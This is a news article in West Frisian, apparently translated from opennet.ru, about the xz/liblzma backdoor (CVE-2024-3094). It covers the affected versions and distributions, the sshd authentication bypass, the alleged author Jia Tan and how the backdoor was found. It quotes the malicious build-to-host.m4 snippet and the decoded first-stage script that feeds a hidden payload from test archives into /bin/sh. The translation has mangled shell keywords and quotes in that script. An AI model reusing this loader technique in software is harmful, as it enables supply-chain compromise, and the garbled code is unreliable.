In efterdoar waard ûntdutsen yn 'e xz/liblzma-bibleteek dy't tagong tastiet fia sshd

Yn it XZ Utils-pakket, dat de liblzma-bibleteek en nutsfoarsjenningen omfettet foar it wurkjen mei komprimearre gegevens yn it ".xz"-formaat, is in efterdoar (CVE-2024-3094) identifisearre dy't it ûnderskeppen en wizigjen fan gegevens mooglik makket dy't ferwurke wurde troch applikaasjes assosjearre mei de liblzma bibleteek. It haaddoel fan 'e efterdoar is de OpenSSH-tsjinner, dy't yn guon distribúsjes bondele is mei de libsystemd-bibleteek, dy't op syn beurt liblzma brûkt. Troch sshd te keppeljen mei in kwetsbere bibleteek kinne oanfallers tagong krije ta de SSH-tsjinner sûnder autentikaasje.

De efterdoar wie oanwêzich yn 'e offisjele releases 5.6.0 en 5.6.1, publisearre op 24 febrewaris en 9 maart, dy't slagge om yn guon distribúsjes en repositories te kommen, bygelyks Gentoo, Arch Linux, Debian sid / unstable, Fedora Rawhide en 40-beta, openSUSE fabryk en tumbleweed, LibreELEC, Alpine edge, Solus, NixOS ynstabyl, OpenIndiana, OpenMandriva rolling, pkgsrc current, Slackware current, Manjaro testen. Alle brûkers fan xz 5.6.0 en 5.6.1 releases wurde oanrikkemandearre om driuwend werom te rôljen nei ferzje 5.4.6.

Under de faktoaren dy't it probleem mitigearje, kin opmurken wurde dat de ferzje fan liblzma mei in efterdoar net slagge om diel te wurden fan 'e stabile releases fan grutte distribúsjes, mar beynfloede openSUSE Tumbleweed en Fedora 40-beta. Arch Linux en Gentoo brûkten in kwetsbere ferzje fan zx, mar binne net gefoelich foar de oanfal, om't se de systemd-notify-patch net tapasse op openssh, wêrtroch sshd keppele wurdt oan liblzma. De efterdoar hat allinich ynfloed op x86_64-systemen basearre op de Linux-kernel en de Glibc C-bibleteek.

De aktivearringskoade foar efterdoar wie ferburgen yn m4-makro's fan it build-to-host.m4-bestân dat brûkt waard troch de automake-ark by it bouwen. Tidens de gearstalling, tidens de útfiering fan yngewikkelde obfuscated operaasjes basearre op argiven (bad-3-corrupt_lzma2.xz, good-large_compressed.lzma), brûkt om de krektens fan wurking te testen, waard in objektbestân mei kweade koade generearre, dy't opnommen wie yn de liblzma bibleteek en feroare de operaasje logika guon fan syn funksjes. Backdoor-aktivearjende m4-makro's waarden opnommen yn 'e release-tarballs, mar wiene net yn' e Git-repository. Tagelyk wiene der yn de repository kweade test-argiven, d.w.s. de persoan dy't de efterdoar ymplementearre hie tagong ta sawol de repository as de release-generaasjeprosessen.

By it brûken fan liblzma yn applikaasjes, kinne kweade feroarings brûkt wurde om gegevens te ûnderskepen of te wizigjen, of ynfloed op de wurking fan sshd. Benammen de kweade koade spoofe de RSA_public_decrypt-funksje om it sshd-autentikaasjeproses te omgean. De efterdoar omfette beskerming tsjin deteksje en manifestearre him net doe't de LANG en TERM omjouwingsfariabelen waarden ynsteld (dus by it útfieren fan it proses yn 'e terminal) en de LD_DEBUG en LD_PROFILE omjouwingsfariabelen waarden net ynsteld, en waard ek aktivearre allinnich by it útfieren fan de /usr/sbin/sshd útfierbere triem. De efterdoar hie ek in middel om útfiering te detektearjen yn debug-omjouwings.

Benammen it m4/build-to-host.m4-bestân brûkt gl_am_configmake=`grep -aErls “#{4}[[:alnum:]]{5}#{4}$” $srcdir/ 2>/dev / null` … gl_[$1]_config='sed \»r\n\» $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'

Yn 'e earste konstruksje fûn de grep-operaasje de triemtests/files/bad-3-corrupt_lzma2.xz, dy't, doe't útpakt, it skript generearre: ####Hallo#### #345U211267$^D330^W [! $(uname) = "Linux" ] && ôfslute 0 [ ! $(uname) = "Linux" ] && ôfslute 0 [ ! $(uname) = "Linux" ] && ôfslute 0 [ ! $(uname) = "Linux" ] && ôfslute 0 [ ! $(uname) = "Linux" ] && ôfslute 0 eval `grep ^srcdir= config.status` as test -f ../../config.status; dan eval `grep ^srcdir= ../../config .status` srcdir="../../$srcdir» fi eksport i=»((kop -c +1024 >/dev/null) && kop -c +2048 && (kop -c +1024 >/dev/ null) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop -c +2048 && (kop - c +1024 >/dev/null) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop - c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop -c +2048 && (kop -c +1024 >/ dev/null) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop -c +2048 && ( kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop -c +2048 && (kop -c +1024 >/dev/nul) && kop -c +2048 && (kop -c +1024 >/dev/null) && kop -c +939)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13 \50-\113" "\0-\377")|xz -F raw —lzma1 -dc|/bin/sh ####World####

Hoe't de oanfallers it slagge om tagong te krijen ta de ynfrastruktuer fan it xz-projekt is noch net folslein dúdlik. It is ek noch net dúdlik hoefolle brûkers en projekten kompromittearre binne as gefolch fan de efterdoar. De sabeare auteur fan 'e efterdoar (JiaT75 - Jia Tan), dy't argiven mei kweade koade yn' e repository pleatste, korrespondearre mei Fedora-ûntwikkelders en stjoerde pull-oanfragen nei Debian relatearre oan de oergong fan distribúsjes nei de xz 5.6.0-ôfdieling, en die net wekker fertinking, sûnt hy meidie oan xz hat ûntwikkele foar de ôfrûne twa jier en is de twadde ûntwikkelder yn termen fan it oantal feroarings makke. Neist it xz-projekt hat de sabeare skriuwer fan 'e efterdoar ek meidien oan' e ûntwikkeling fan 'e xz-java en xz-ynbêde pakketten. Boppedat waard Jia Tan in pear dagen lyn opnommen yn it oantal ûnderhâlders fan it XZ Embedded-projekt brûkt yn 'e Linux-kernel.

De kweade feroaring waard ûntdutsen nei it analysearjen fan oermjittich CPU-konsumpsje en flaters generearre troch valgrind by it ferbinen fia ssh nei Debian sid-basearre systemen. It is opmerklik dat de xz 5.6.1-útjefte wizigingen omfette dy't taret binne troch de sabeare auteur fan 'e efterdoar yn antwurd op klachten oer sshd-fertragingen en crashes dy't ûntstiene nei it opwurdearjen nei de zx 5.6.0-ferzje mei de efterdoar. Derneist makke Jia Tan ferline jier wizigingen dy't ynkompatibel wiene mei de "-fsanitize=adres" ynspeksjemodus, wêrtroch't it útskeakele waard tidens fuzz-testen.

Boarne: opennet.ru

Add a comment